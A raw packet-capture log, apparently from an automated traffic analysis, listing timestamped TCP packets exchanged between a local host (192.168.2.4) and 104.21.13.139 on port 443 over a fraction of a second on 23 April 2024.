Apr 23, 2024 14:44:58.193909883 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.193929911 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.194242001 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.194256067 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.194293022 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.194297075 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.194329023 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.194346905 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.195096016 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.195111036 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.195169926 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.195173979 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.195211887 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.195895910 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.196001053 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.196016073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.196074963 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.196079969 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.196089983 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.196115971 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.196120024 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.196141005 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.196146965 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.196180105 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.196186066 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.196196079 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.196225882 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.196734905 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.196918011 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.196933031 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.196974993 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.196979046 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.197015047 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.197686911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.197711945 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.197747946 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.197751045 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.197782040 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.197793961 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.198479891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.198494911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.198558092 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.198564053 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.198604107 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.198812962 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.198832989 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.198880911 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.198884964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.198924065 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.199590921 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.199637890 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.199655056 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.199659109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.199685097 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.199702978 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.200458050 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.200472116 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.200531006 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.200535059 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.200572968 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.200581074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.200593948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.200613976 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.200639963 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.200645924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.200660944 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.200681925 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.201575041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.201594114 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.201649904 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.201654911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.201694965 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.201842070 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.201865911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.201910973 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.201915979 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.201932907 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.201946974 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.202759027 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.202774048 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.202831030 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.202835083 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.202873945 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.203676939 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.203691006 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.203741074 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.203746080 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.203787088 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.204406023 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.204420090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.204474926 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.204478979 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.204514980 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.205075026 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.205087900 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.205141068 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.205144882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.205184937 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.205461979 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.205475092 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.205528021 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.205533028 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.205570936 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.206240892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.206254959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.206310987 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.206315041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.206356049 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.207025051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.207039118 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.207099915 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.207103968 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.207145929 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.207873106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.207887888 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.207948923 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.207954884 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.207994938 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.208108902 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.208133936 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.208168983 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.208173037 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.208189011 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.208209038 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.208812952 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.208832979 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.208884954 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.208889961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.208926916 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.209873915 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.209887028 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.209945917 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.209949970 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.209990978 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.210058928 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.210078955 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.210129023 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.210134029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.210170984 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.210936069 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.210949898 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.211009026 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.211013079 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.211049080 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.211709023 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.211721897 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.211779118 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.211782932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.211822033 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.212538004 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.212558031 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.212618113 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.212624073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.212663889 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.212748051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.212765932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.212807894 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.212811947 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.212826014 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.212845087 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.213627100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.213640928 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.213697910 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.213701963 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.213741064 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.214271069 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.214284897 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.214340925 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.214345932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.214384079 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.215158939 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.215173006 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.215229034 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.215234041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.215272903 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.215317965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.215332031 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.215379953 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.215385914 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.215424061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.216294050 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.216308117 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.216365099 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.216368914 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.216411114 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.216860056 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.216873884 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.216929913 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.216933966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.216974974 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.217752934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.217770100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.217823982 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.217829943 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.217866898 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.218369007 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.218384981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.218446970 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.218451977 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.218492031 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.219204903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.219221115 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.219280005 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.219286919 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.219330072 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.219543934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.219563961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.219614983 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.219619036 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.219656944 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.220251083 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.220277071 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.220314980 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.220318079 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.220329046 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.220360041 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.221065998 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.221080065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.221112967 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.221132040 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.221136093 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.221155882 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.221843958 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.221872091 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.221901894 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.221906900 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.221925974 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.222425938 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.222445011 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.222501040 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.222505093 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.223345041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.223366976 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.223407984 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.223412037 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.223433971 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.223552942 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.223570108 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.223613977 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.223618984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.223640919 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.224448919 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.224472046 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.224515915 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.224522114 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.224536896 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.225087881 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.225101948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.225168943 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.225173950 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.225888968 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.225905895 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.225944996 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.225949049 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.225969076 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.226222038 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.226233959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.226281881 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.226286888 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.227089882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.227108002 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.227150917 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.227155924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.227171898 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.227813959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.227826118 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.227874994 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.227879047 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.228199959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.228218079 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.228252888 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.228259087 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.228285074 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.228944063 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.228982925 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.229001045 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.229007006 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.229032993 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.229625940 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.229643106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.229693890 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.229697943 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.229722023 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.230460882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.230473042 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.230530024 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.230535030 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.230698109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.230719090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.230751991 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.230756044 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.230787039 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.231538057 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.231550932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.231606007 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.231610060 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.232332945 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.232356071 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.232403040 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.232409954 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.232434988 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.232528925 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.232541084 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.232594013 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.232599974 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.233279943 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.233295918 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.233333111 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.233340979 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.233362913 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.233941078 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.233953953 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.234009981 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.234014988 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.234038115 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.234667063 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.234683990 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.234730005 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.234739065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.234759092 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.234790087 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.234810114 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.234842062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.234848022 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.234870911 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.235657930 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.235676050 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.235723019 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.235728979 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.236393929 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.236407042 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.236455917 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.236460924 CEST	443	49738	104.21.13.139	192.168.2.4
